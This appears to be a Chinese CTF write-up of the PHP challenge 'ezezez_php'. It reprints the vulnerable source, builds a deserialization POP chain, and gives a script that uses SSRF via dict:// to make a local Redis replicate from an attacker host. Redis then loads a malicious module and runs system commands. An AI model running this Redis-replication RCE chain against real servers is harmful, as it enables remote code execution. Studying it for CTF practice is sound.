2023年春秋杯网络安全联赛冬季赛ezezez_php复现

纸上得来终觉浅,绝知此事要躬行。

sihaiOIP-C

ezezez_php

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
public $ending;
public $cl;

public $poc;

public function __destruct()
{
echo "All matters have concluded"."</br>";
}

public function __call($name, $arg)
{
foreach ($arg as $key => $value) {

if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Poc
{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}

class Er
{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}


}

class Ha
{
public $start;
public $start1;
public $start2;

public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}

public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}
}

function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}


if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}

?>

You are Silly goose!

通过get函数来访问本地的rides去写weebshell然后rce,function应该是辅助完成反序列化,但是看不到源码。

题解

2023年春秋杯网络安全联赛冬季赛 Writeup-CSDN博客

2024春秋杯冬季赛ezezez_php复现_哔哩哔哩_bilibili

别人写好的链子,当时不会写,就来分析一下吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<?php 
class Rd
{
public $ending;
public $cl;
public $poc;

public function __destruct(){
// echo "All matters have concluded"."</br>";
}

public function __call($name, $arg){
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Poc
{
public $payload;
public $fun;

public function __set($name, $value){
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod){
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}

class Er
{
public $symbol;
public $Flag;

public function __construct(){
$this->symbol = True;
}

public function __set($name, $value){
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}
}

class Ha
{
public $start;
public $start1;
public $start2;

public function __construct(){
// echo $this->start1 . "__construct" . "</br>";
}

public function __destruct(){
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
// echo "You are Good!"."</br>";
}
}
}

function get($url) {
// $url=base64_decode($url);
// var_dump($url);
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_HEADER, 0);
// $output = curl_exec($ch);
// $result_info = curl_getinfo($ch);
// var_dump($result_info);
// curl_close($ch);
// var_dump($output);
}

// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()

// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';

echo(serialize($Ha));
?>

在代码行 $Ha -> start = ['POC'=>'0.o']; 中,正在设置对象 $Ha 的一个名为 $start 的属性。分配给 $start 的值是一个带有单个键值对的关联数组。

分解一下:

  • $Ha:这是先前使用 $Ha = new Ha(); 创建的 Ha 类的实例。
  • ->:箭头运算符用于在 PHP 中访问对象的属性和方法。
  • start:这是 $Ha 对象的一个属性。
  • ['POC'=>'0.o']:这是一个带有键值对的关联数组。键是 'POC',相应的值是 '0.o'

因此,这一行本质上是将 $Ha->start 属性设置为一个带有键 'POC' 和值 '0.o' 的关联数组。这个属性及其值的目的由 Ha 类的代码中的 __destruct 方法确定。在 __destruct 方法中,它检查 $start2 属性的值是否等于 "o.0"。如果这个条件为真,它会在由 $start1 属性引用的对象上调用 Love 方法,并将 $start 属性的值作为参数传递。__call()在对象上下文中调用不可访问的方法时触发。没有定义Love这个方法故可以由此触发rd::__call方法。__set 方法是在给对象的不可访问属性赋值时触发的魔术方法。

通过给对象的 Flag 属性赋值,var1是一个不存在的变量来触发 Er::__set 方法。这是因为在类中并没有直接定义 Flag 属性,所以当试图给不存在的属性赋值时,__set 方法会被调用。进而给Er::$vauel触发get方法实现SSRF

后面就是打redis,

看视频学习到了直接用php脚本来发请求接受响应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
public $ending;
public $cl;

public $poc;
/*
public function __destruct()
{
echo "All matters have concluded"."</br>";
}

public function __call($name, $arg)
{
foreach ($arg as $key => $value) {

if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
*/
}
/*
class Poc
{
public $payload;

public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}

}
*/
class Er
{
public $symbol;
public $Flag;
/*
public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}

*/
}

class Ha
{
public $start;
public $start1;
public $start2;

/*public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}

public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}*/
}

/*function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}*/


/*if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}*/
$a = new Ha();
$a->start2="o.0";
$a->start1=new Rd();
$a->start=['POC'=>'0.o'];
$a->start1->cl=new Er();

$RedisPay = array(
"config set dir /tmp/",
"config set dbfilename exp.so",
"slaveof 172.2.0.51 21000",//攻击机也是主服务端的ip和端口
"module load /tmp/exp.so",
"slaveof no one" ,
"system.exec 'whoami'"
);

$url = "http://hazelshishuaige.club:9018/index.php";

for($i=0;$i<count($RedisPay);$i++){
$paylaod="dict://127.0.0.1:6379/".$RedisPay[$i];
echo $paylaod;
$a->start1->cl->Flag=base64_encode($paylaod);
$b = serialize($a);
sleep(2);
$PostData = array(
'pop'=>'$b'
);
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$b);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

$response = curl_exec($ch);
curl_close($ch);
echo $response;
}

?>

image-20240131153320676

总结

通过对于这道题目的复现,对于php反序列化有了更深层的理解——先看魔术方法,再通过不同魔术方法的触发条件来构造pop链子

ssrf利用主从复制打redis(之前只是看书,没有实践过)